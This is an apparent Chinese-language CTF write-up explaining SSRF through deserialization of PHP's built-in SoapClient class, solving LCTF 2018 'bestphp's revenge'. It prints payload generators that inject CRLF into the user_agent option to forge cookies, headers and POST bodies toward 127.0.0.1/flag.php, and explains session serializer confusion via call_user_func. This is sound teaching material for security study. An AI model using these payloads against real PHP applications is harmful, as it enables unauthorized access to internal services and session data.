PHP中原生类SoapClient反序列化的SSRF利用

1.[LCTF 2018]bestphp's revenge

index.php

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { } 

flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

看到127.0.0.1,想到了要利用SSRF,可以利用原生类SoapClient来实现SSRF

implode()函数 把数组元素组合为字符串

call_user_func()如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。

CRLF Injection漏洞

CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
我们要让服务器去访问flag.php,且把flag存放在session里,那么我们就一定需要携带一个cookie去访问它。但是SoapClient这个类,好像没有指定cookie的接口,所以,我们就可以在user_agent里面,加上一个\r\n,然后再加上一个cookie,就达到了我们的目的。

构造SSRF之SoapClient类

SoapClient是php内置的类,__call方法被触发后(调用不存在方法),它可以发送HTTP和HTTPS请求。该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

利用点就是,可以实现SSRF(127.0.0.1),一般都可以配合CRLF来伪造报头。

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
    'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

在PHP中默认使用的是PHP引擎(5.5.4后改为php_serialize),如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。 

session.serialize_handler存在以下几种:

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

解题步骤:

首先构造反序列化:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
    'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll

 不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST

将SoapClient的反序列化储存在session中,并在前面,加一个“|”符号,此时session会以php_serialize的规则储存:a:1:{s:4:“name”;s:199:"|xxx…"}

第二步:

解释:array($_SESSION,'welcome_to_the_LCTF2018')作为参数,调用到第二个call_user_funccall_user_func当传入参数是数组中,第一个参数为类名,第二个是方法,welcome_to_the_lctf2018不是方法,所以触发了SoapClient

进行第三步传值、

PHPSESSID=123456789 

2.

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息)HTTP请求头之间的参数用一个\r\n分隔
HTTP Header与HTTP Body是用两个\r\n分隔的
SoapClient:模板

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"1\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length:" .(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "1"));

$aaa = serialize($b);
$aaa = urlencode($aaa);
echo $aaa;
?>

注意:包括\r\n时需要用双引号,不然不能成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值